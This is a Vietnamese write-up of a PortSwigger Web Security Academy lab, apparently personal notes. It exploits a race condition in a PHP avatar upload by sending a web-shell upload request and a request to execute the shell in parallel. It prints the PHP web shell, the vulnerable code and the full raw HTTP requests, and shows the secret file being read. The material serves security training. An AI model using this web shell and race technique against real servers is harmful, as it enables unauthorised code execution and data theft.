  • Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin /home/carlos/secret.
  • Tài khoản được cung cấp là wiener:peter.

Thử upload web shell sau:

<?php echo file_get_contents('/home/carlos/secret'); ?>

Server response như sau:

HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 09:11:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 171
 
Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Mã nguồn có chứa race condition:

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
 
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
 
if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}
 
function checkViruses($fileName) {
    // checking for viruses
    ...
}
 
function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowed\n";
        return false;
    } else {
        return true;
    }
}
?>

Phân tích đoạn code trên:

  • Tập tin được upload được di chuyển vào thư mục avatars/ một cách tạm thời thông qua hàm move_uploaded_file.
  • Sau đó, tập tin được validate bởi hàm checkViruses và hàm checkFileType.
  • Nếu tập tin không pass được validation thì server sẽ gọi hàm unlink để xóa tập tin và trả về chuỗi "Sorry, there was an error uploading your file." như trong response ở trên.

Request upload tập tin:

POST /my-account/avatar HTTP/2
Host: 0a4c00260405e04081941b7600d90011.web-security-academy.net
Cookie: session=czhPRuQJnRN1jAK911GySBHdTJPcSNFk
Content-Length: 477
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a4c00260405e04081941b7600d90011.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9eVcpwF2m2eZfbjd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a4c00260405e04081941b7600d90011.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
 
------WebKitFormBoundary9eVcpwF2m2eZfbjd
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: application/octet-stream
 
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary9eVcpwF2m2eZfbjd
Content-Disposition: form-data; name="user"
 
wiener
------WebKitFormBoundary9eVcpwF2m2eZfbjd
Content-Disposition: form-data; name="csrf"
 
PTykkirrscmApS6GEXWF71TyuEVs8Uyk
------WebKitFormBoundary9eVcpwF2m2eZfbjd--
 
 

Request thực thi tập tin:

GET /files/avatars/webshell.php HTTP/2
Host: 0a4c00260405e04081941b7600d90011.web-security-academy.net
Cookie: session=czhPRuQJnRN1jAK911GySBHdTJPcSNFk
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a4c00260405e04081941b7600d90011.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=2, i
 
 

Dùng tính năng “Sending requests in parallel” của Burp Repeater để gửi hai request này song song với nhau.

Response của request upload tập tin cho thấy tập tin bị server từ chối:

HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 09:28:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 171
 
Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Tuy nhiên, response của request gửi đến endpoint của tập tin cho thấy tập tin đã được thực thi thành công:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 09:28:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
 
W85vUQoPdsAru3JNpM3Kaq1eMbfDG7oJ
list
from outgoing([[Port Swigger - Exploiting Flawed Validation of File Uploads]])
sort file.ctime asc

Resources